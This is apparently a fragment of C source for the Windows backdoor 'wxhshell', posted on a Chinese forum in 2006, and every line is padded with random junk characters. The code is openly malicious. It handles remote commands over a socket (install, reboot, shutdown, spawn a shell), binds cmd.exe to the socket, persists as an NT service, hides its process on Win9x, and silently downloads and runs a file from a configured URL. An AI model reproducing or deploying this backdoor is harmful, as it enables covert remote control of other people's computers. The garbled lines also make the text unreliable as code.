  case '?': { !e('T@^u6u  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .ZM0cwF  
    break; |*L/ m0'L  
  } P@Vs\wAT  
  // 安装 kRH D{6mol  
  case 'i': { qJw\<7m  
    if(Install()) n,{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rw75(Lp{  
    else pE$*[IvQ'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]NKz5[9D  
    break; ^c| 0?EH  
    } 0UQ DB5u  
  // 卸载 A@reIt  
  case 'r': { J~ wu*x  
    if(Uninstall()) o_r{cnu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 01IfvK  
    else x[$ :^5V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1"T&B0G3l  
    break; z]j_,3Hff  
    } 3w! NTvp  
  // 显示 wxhshell 所在路径 S}K-\[i?  
  case 'p': { <iM}p^jX9  
    char svExeFile[MAX_PATH]; f?"909&  
    strcpy(svExeFile,"\n\r"); {<i(aq?  
      strcat(svExeFile,ExeFile); rEs!gGNN  
        send(wsh,svExeFile,strlen(svExeFile),0); d!"gb,ec  
    break; \*c=bz&l  
    } ryTtGx%a  
  // 重启 #?~G\Ux0/  
  case 'b': { KC54=Rf  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;!EEzR.  
    if(Boot(REBOOT)) o^u}(wZ{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wr,pm#gl6  
    else { U)1hC^[!   
    closesocket(wsh); C6d#+  
    ExitThread(0); zZV9`cqZ{  
    } j0S[JpoF  
    break; F^Mt}`O  
    } d)0 hAdh  
  // 关机 M ED_#OS  
  case 'd': { $ccCI \  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); CDDEWVd  
    if(Boot(SHUTDOWN)) _F jax  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [LSs|f  
    else { 7Ur'@wr  
    closesocket(wsh); !1P<A1K  
    ExitThread(0); pFEU^]V3*  
    } x8&~  
    break; &>XSQB(&%  
    } EHt(! ;?q  
  // 获取shell x!UGLL]_M  
  case 's': { d^`n/"Ice  
    CmdShell(wsh); ;(LC{jY  
    closesocket(wsh); "=0JYh)%_  
    ExitThread(0); L(BL_  
    break; 5ma~Pjt8}  
  } smX&B,&@  
  // 退出 ~uJO6C6A  
  case 'x': { 9bD ER  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); q)]S:$?BT  
    CloseIt(wsh); \X;)Kt"  
    break; gR k+KGKn<  
    } 1VG7[#Zy  
  // 离开 6Ou[t6  
  case 'q': { G3t\2E9S  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Yk5Cyq  
    closesocket(wsh); lAx8m't}6  
    WSACleanup(); {^Q1b.=  
    exit(1); /x&52~X5-  
    break; -)E6{  
        } S&~;l/  
  } Z'y:r2{ql  
  } Tc;j)_C)  
.p\<niu7  
  // 提示信息 9 icy&'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9jrlB0  
}  Qs\!Kk@  
  } S d]`)  
@ {8x L  
  return; B6]M\4v  
} CGCSfoS9f  
[f-<M@id/  
// shell模块句柄 ~H`(zzk  
int CmdShell(SOCKET sock) U( "m}^  
{ k0-,qM#p;X  
STARTUPINFO si; F0+@FS0   
ZeroMemory(&si,sizeof(si)); o%?~9rf]]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `xu/|})KI  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =/qj vY  
PROCESS_INFORMATION ProcessInfo; Kv6#WN~  
char cmdline[]="cmd"; -wn(J5NnR  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nV?e(}D  
  return 0; Tg#%5~IX  
} m*H6\on:  
!$.h[z^  
// 自身启动模式 T~-PT39E  
int StartFromService(void) #6qLu  
{ jxA*Gg3cT5  
typedef struct .5?Md  
{ V?+Y[Q  
  DWORD ExitStatus; ~JxAo\2i  
  DWORD PebBaseAddress; jR o4+8  
  DWORD AffinityMask; UNd+MHE74I  
  DWORD BasePriority; 4Nz]LK%@  
  ULONG UniqueProcessId; )l*6zn`z  
  ULONG InheritedFromUniqueProcessId; rJ_fg$.<  
}   PROCESS_BASIC_INFORMATION; 99..]  
%^66(n)  
PROCNTQSIP NtQueryInformationProcess; }e0)=*;l  
d(j|8/tpA  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ys$X!Ep  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; B3iU#   
%4HpTx  
  HANDLE             hProcess; MbeO(Q  
  PROCESS_BASIC_INFORMATION pbi; jCv%[H7  
8gI~x.k`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Na2n4x!  
  if(NULL == hInst ) return 0; 4GTB82V$  
E0Jk=cq  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Fl&Z}&5p  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %O_Ed {G4t  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); - d(RK_  
oN6 '%   
  if (!NtQueryInformationProcess) return 0; mBZg(TY  
$f]dL};  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); l\{{iAC]I  
  if(!hProcess) return 0; KF4}cM=.5  
p[lciWEW  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @G;\gJT*  
&lYe  
  CloseHandle(hProcess); ^%r>f@h!L  
G.#sX  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); z^r  
if(hProcess==NULL) return 0; 4Sxt<7[f  
c- {;P>L  
HMODULE hMod; K<Qy1y~[  
char procName[255]; z4 yV1  
unsigned long cbNeeded; UjI -<|  
(77EZ07%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); C%y!)v_x  
'-[~I>o%  
  CloseHandle(hProcess); 7 -Yn8Gq  
/}=Bi-  
if(strstr(procName,"services")) return 1; // 以服务启动 7v^V]&&s  
f~NGIlgR  
  return 0; // 注册表启动 Lu@'Ee!>G  
} BE]PM nI  
[nnX,;  
// 主模块 ^7 oXJu=  
int StartWxhshell(LPSTR lpCmdLine) +P?^Yx0d  
{ (]l}QR%Bxu  
  SOCKET wsl; a9CK4Kg  
BOOL val=TRUE; (ug^2WG Yq  
  int port=0; ?nya;Z-~Hc  
  struct sockaddr_in door; atA:v3"  
)D1=jD(  
  if(wscfg.ws_autoins) Install(); vtS [Tkk|A  
c/q -WEKL  
port=atoi(lpCmdLine); ?Q XS?  
T8ftBIOi  
if(port<=0) port=wscfg.ws_port; ]7ZY|fP2  
RC| t-(Z  
  WSADATA data; 3\Ma)\>R\-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; bq<DW/  
7u9!:}Tu  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `>mT/Rmb@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~20O&2  
  door.sin_family = AF_INET; sZ!/uN!6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); iEJY[P1  
  door.sin_port = htons(port); JNYFu0  
M!e$h?vB  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { c5t],P  
closesocket(wsl); 2}^fhMS  
return 1; SqF9#&F  
} H[a1n' "<:  
C {GSf`D!T  
  if(listen(wsl,2) == INVALID_SOCKET) { ?xbPdG":R  
closesocket(wsl); E4nj*Lp~+  
return 1; %;Dp~T`0  
} ARD&L$AX  
  Wxhshell(wsl); P,ox) )+6  
  WSACleanup(); Y^Olcz  
vl'2O7  
return 0; AJ*FQo.U  
n2JwZ?  
} Y GZX}-  
1qw*mV;W)_  
// 以NT服务方式启动 ;c-J)Ky  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) cG"+n@ \  
{ '7!b#if  
DWORD   status = 0; ]y:ez8RFPU  
  DWORD   specificError = 0xfffffff; ~9OART='  
].j;d2xT\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; y3 R+060\3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; AC$:.KLI  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; YmS}*>oz  
  serviceStatus.dwWin32ExitCode     = 0; pD+_ K  
  serviceStatus.dwServiceSpecificExitCode = 0; lJfn3  
  serviceStatus.dwCheckPoint       = 0; /GK1}h  
  serviceStatus.dwWaitHint       = 0; jORU+g  
e Akjpc  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [ ET03 nZ  
  if (hServiceStatusHandle==0) return; R(?g+:eCpM  
@c<*l+Qc  
status = GetLastError(); &gn^i!%Z)  
  if (status!=NO_ERROR) a]<y*N?qu  
{ ;_.%S*W\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |G+6R-_  
    serviceStatus.dwCheckPoint       = 0; Jv*(DFt!v  
    serviceStatus.dwWaitHint       = 0; poqcoSL"}  
    serviceStatus.dwWin32ExitCode     = status; ZYy,gu<  
    serviceStatus.dwServiceSpecificExitCode = specificError; zqaz1rt[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ix;9D'^}  
    return; iUv#oX H  
  } 9Ytf7NpR  
~ >af"<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,qS-T'[v,(  
  serviceStatus.dwCheckPoint       = 0; %"2 ;i@  
  serviceStatus.dwWaitHint       = 0; ~bp^Q| wM  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Vf67gux  
} O<&8 gk~  
GZ.F q  
// 处理NT服务事件,比如:启动、停止 )Q_^f'4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3x=f}SO&  
{ u? a*bW  
switch(fdwControl) s3+^q  
{ V^a] @GK:  
case SERVICE_CONTROL_STOP: Y<'T;@  
  serviceStatus.dwWin32ExitCode = 0; |U*wMYC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `u%`N j  
  serviceStatus.dwCheckPoint   = 0; 3d qj:4[f  
  serviceStatus.dwWaitHint     = 0; Sga/i?!  
  { iWbrX1 I+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZGUhje!  
  } r Z0+mS'/G  
  return; %!5[3b'h  
case SERVICE_CONTROL_PAUSE: }B=`nbgIG7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }B{bM<dF  
  break; n%o"n?e  
case SERVICE_CONTROL_CONTINUE: ]] R*sd*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; tta\.ic  
  break; J2\%rb,  
case SERVICE_CONTROL_INTERROGATE: g$c\(isY;  
  break; K5O8G  
}; vf=b5s(7Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kW"6Gc&HUN  
} |p"P+"#  
Nwu,:}T  
// 标准应用程序主函数 |/u&%w?W  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4{?Djnh  
{ =2[5 g!qX  
oMH-mG7:K  
// 获取操作系统版本 [89qg+z  
OsIsNt=GetOsVer(); <!ewb=[_$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Zi&qa+F  
YK[PC]w  
  // 从命令行安装 W\V'o Vt  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7B@[`>5?%L  
' +6H=Qn  
  // 下载执行文件 2!Ip!IQ:  
if(wscfg.ws_downexe) { %SW"{GnO ^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >7yOu!l  
  WinExec(wscfg.ws_filenam,SW_HIDE); M_-LI4>  
} h,-8( S  
)Mw<e  
if(!OsIsNt) { Algk4zfK2,  
// 如果时win9x,隐藏进程并且设置为注册表启动 %A@Q%l6  
HideProc(); 's.%rre%  
StartWxhshell(lpCmdLine); 7,.Hj&'B  
} %#!pAUP\&  
else u)]]9G _8  
  if(StartFromService()) 9[<,49  
  // 以服务方式启动 9C?;'  
  StartServiceCtrlDispatcher(DispatchTable); iGG;  
else cVHv>nd#  
  // 普通方式启动 CAGaZ rx  
  StartWxhshell(lpCmdLine); ';g]!XsY)  
W2CCLq1(  
return 0; FyZp,uD  
}
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只看该作者 1 发表于: 2006-10-10
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